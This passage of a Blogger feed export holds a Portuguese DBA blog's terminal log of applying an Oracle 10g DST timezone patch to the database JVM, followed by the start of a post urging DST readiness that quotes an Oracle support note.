/&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Home       : /oracle/10g&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Central Inventory : /oracle/oraInventory&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   from           : /oracle/10g/oraInst.loc&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OPatch version    : 10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OUI version       : 10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OUI location      : /oracle/10g/oui&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Log file location : /oracle/10g/cfgtoollogs/opatch/opatch-2007_Mar_04_22-08-58-BRT_Sun.log&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Lsinventory Output file location : /oracle/10g/cfgtoollogs/opatch/lsinv/lsinventory-2007_Mar_04_22-08-58-BRT_Sun.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Installed Top-level Products (2):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Database 10g                                                  10.2.0.1.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Database 10g Release 2 Patch Set 1                            10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;There are 2 products installed in this Oracle Home.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Interim patches (2) :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Patch  5865568      : applied on Sun Mar 04 22:08:38 BRT 2007&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   Created on 15 Feb 2007, 19:51:37 hrs PST8PDT&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   Bugs fixed:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;     5865568&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Patch  5632264      : applied on Wed Feb 28 22:21:44 BRT 2007&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   Created on 14 Feb 2007, 21:37:17 hrs US/Pacific&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   Bugs fixed:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;     5632264&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OPatch succeeded.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin 5865568]$ sqlplus / as sysdba&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL*Plus: Release 10.2.0.2.0 - Production on Sun Mar 4 22:09:30 2007&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1982, 2005, Oracle.  All Rights Reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected to an idle instance.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Disconnected&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin 5865568]$ export ORACLE_SID=+ASM&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin 5865568]$ sqlplus / as sysdba&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL*Plus: Release 10.2.0.2.0 - Production on Sun Mar 4 22:09:45 2007&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1982, 2005, Oracle.  All Rights Reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected to an idle instance.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; startup&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ASM instance started&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Total System Global Area      83886080 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Fixed Size                     1259264 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Variable Size                 57460992 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ASM Cache                     25165824 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ASM diskgroups mounted&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.2.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin 5865568]$ export ORACLE_SID=lx10g&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin 5865568]$ sqlplus / as sysdba&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL*Plus: Release 10.2.0.2.0 - Production on Sun Mar 4 22:10:05 2007&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1982, 2005, Oracle.  All Rights Reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected to an idle instance.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; startup&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORACLE instance started.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Total System Global Area     603979776 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Fixed Size                     1262224 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Variable Size                197135728 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database Buffers             398458880 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Redo Buffers                   7122944 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database mounted.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database opened.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; @?/javavm/admin/fixTZa&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PL/SQL procedure successfully completed.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;USER_&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SYS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PL/SQL procedure successfully completed.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;USER_&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SYS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Java created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;No errors.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Java altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;No errors.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Package created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;No errors.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Package body created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;No errors.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PL/SQL procedure successfully completed.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Call completed.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Testing various timezone DST attributes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;FAILED for Australia/Perth 2:0:10 12/3/2006&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;FAILED for Australia/Perth 1:0:10 3/25/2007&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;FAILED for America/Vancouver 10:0:0 3/11/2007&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;FAILED for America/Edmonton 10:0:0 3/11/2007&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;FAILED for America/St_Johns 10:0:0 3/11/2007&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;FAILED for America/New_York 10:0:0 3/11/2007&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;FAILED for America/Los_Angeles 10:0:0 3/11/2007&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;##&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Bug is in fact present, so this patch is needed&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;##&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(Perhaps) modifying ild_ub1$ for rehotloading of sun/util/calendar/ZoneInfoFile&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;obj# = 20630&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;nbytes %d = 64512, 1st read = 64512, 2nd read = -1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;87 344070 333936 10134 joxbtflag&gt;&gt;8 = 3&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;===&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(Perhaps) modifying ild_ub1$ for rehotloading of /c8a1ddf0_PolicyTable&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;obj# = 13814&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;nbytes %d = 20069, 1st read = 20069, 2nd read = -1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;177 18340 4408 13932 joxbtflag&gt;&gt;8 = 3&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;===&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PL/SQL procedure successfully completed.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;USER_&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SYS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;########################################################&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Bug is in fact present, so this patch is needed&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Proceed by restarting the database and running script&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;fixTZb&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;########################################################&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PL/SQL procedure successfully completed.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;USER_&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SYS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; shutdown&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database closed.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database dismounted.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORACLE instance shut down.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; startup migrate&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORACLE instance started.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Total System Global Area     603979776 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Fixed Size                     1262224 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Variable Size                213912944 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database Buffers             381681664 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Redo Buffers                   7122944 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database mounted.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database opened.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; @?/javavm/admin/fixTZb&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PL/SQL procedure successfully completed.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;USER_&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SYS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PL/SQL procedure successfully completed.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;USER_&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SYS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PL/SQL procedure successfully completed.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;USER_&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SYS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PL/SQL procedure successfully completed.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;USER_&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SYS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PL/SQL procedure successfully completed.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;USER_&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SYS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PL/SQL procedure successfully completed.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;USER_&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SYS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Call completed.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Testing various timezone DST attributes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;########################################################&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Bug is no longer present.  Patch succeeded.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;########################################################&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PL/SQL procedure successfully completed.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;drop java source fixTZ&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;drop package fixTZ&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PL/SQL procedure successfully completed.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; shutdown&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database closed.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database dismounted.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORACLE instance shut down.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; startup&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORACLE instance started.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Total System Global Area     603979776 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Fixed Size                     1262224 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Variable Size                213912944 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database Buffers             381681664 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Redo Buffers                   7122944 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database mounted.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database opened.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.2.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin 5865568]$ /oracle/10g/OPatch/opatch lsinventory&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Invoking OPatch 10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle interim Patch Installer version 10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 2005, Oracle Corporation.  All rights reserved..&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Home       : /oracle/10g&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Central Inventory : /oracle/oraInventory&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   from           : /oracle/10g/oraInst.loc&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OPatch version    : 10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OUI version       : 10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OUI location      : /oracle/10g/oui&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Log file location : /oracle/10g/cfgtoollogs/opatch/opatch-2007_Mar_04_22-13-46-BRT_Sun.log&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Lsinventory Output file location : /oracle/10g/cfgtoollogs/opatch/lsinv/lsinventory-2007_Mar_04_22-13-46-BRT_Sun.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Installed Top-level Products (2):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Database 10g                                                  10.2.0.1.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Database 10g Release 2 Patch Set 1                            10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;There are 2 products installed in this Oracle Home.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Interim patches (2) :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Patch  5865568      : applied on Sun Mar 04 22:08:38 BRT 2007&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   Created on 15 Feb 2007, 19:51:37 hrs PST8PDT&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   Bugs fixed:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;     5865568&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Patch  5632264      : applied on Wed Feb 28 22:21:44 BRT 2007&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   Created on 14 Feb 2007, 21:37:17 hrs US/Pacific&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   Bugs fixed:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;     5632264&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OPatch succeeded.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin 5865568]$&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin 5865568]$ exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;exit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Script done on Sun 04 Mar 2007 10:14:03 PM BRT&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin ~]$&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-3600179040336239338?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/3600179040336239338/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=3600179040336239338' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/3600179040336239338'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/3600179040336239338'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2007/03/ainda-dst-jvm.html' title='Ainda DST - JVM'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-1624699337620607401</id><published>2007-02-28T20:58:00.000-03:00</published><updated>2007-03-01T00:17:34.309-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='how to'/><title type='text'>DST Are you ready?</title><content type='html'>Voce está pronto? DST significa Daylight Saving Time, o nosso tradicional Horário de Verão, mas em inglês fica mais chique. E é porque o início do horário de verão nos Estados Unidos mudou que estou escrevendo este artigo. O governo norte americano estendeu o tempo do horário de verão a partir de 2007, portanto "patches" a vista e vários. Tente "&lt;a href="http://www.google.com.br/search?hl=pt-BR&amp;q=DST+impact&amp;amp;btnG=Pesquisa+Google&amp;meta="&gt;DST Impact&lt;/a&gt;" no google. O aviso que gostaria de deixar é que, basicamente, no Oracle o DBA precisa cuidar de dois aspectos - se no banco estiver instalado o JVM e se existem campos com datatype que usa TIME ZONE. A nota 397281.1 do metalink é um excelente início para um melhor entendimento dos impactos. Uma das perguntas/respostas me chamou atenção, vou reproduzí-la abaixo:&lt;br /&gt;&lt;span style="font-family:helvetica;"&gt;&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;&lt;/span&gt;&lt;strong&gt;Do I need a patch?&lt;/strong&gt;&lt;br /&gt;The short answer is: YES. Because timezone data is embedded not only in Database tables but also in arguments to PL/SQL functions and Java code, there is no way for Oracle to definitively tell any customer that they do NOT need to patch. The only way to eliminate risk is to patch all your systems. We have provided a great deal of information in the documents which help you establish which of your systems need to be patched as a matter of priority. Based on the information provided, your analysis may lead you to believe that the impact on a system is low. It is ultimately your business decision to patch or not based on your analysis. Oracle recommends that you patch all 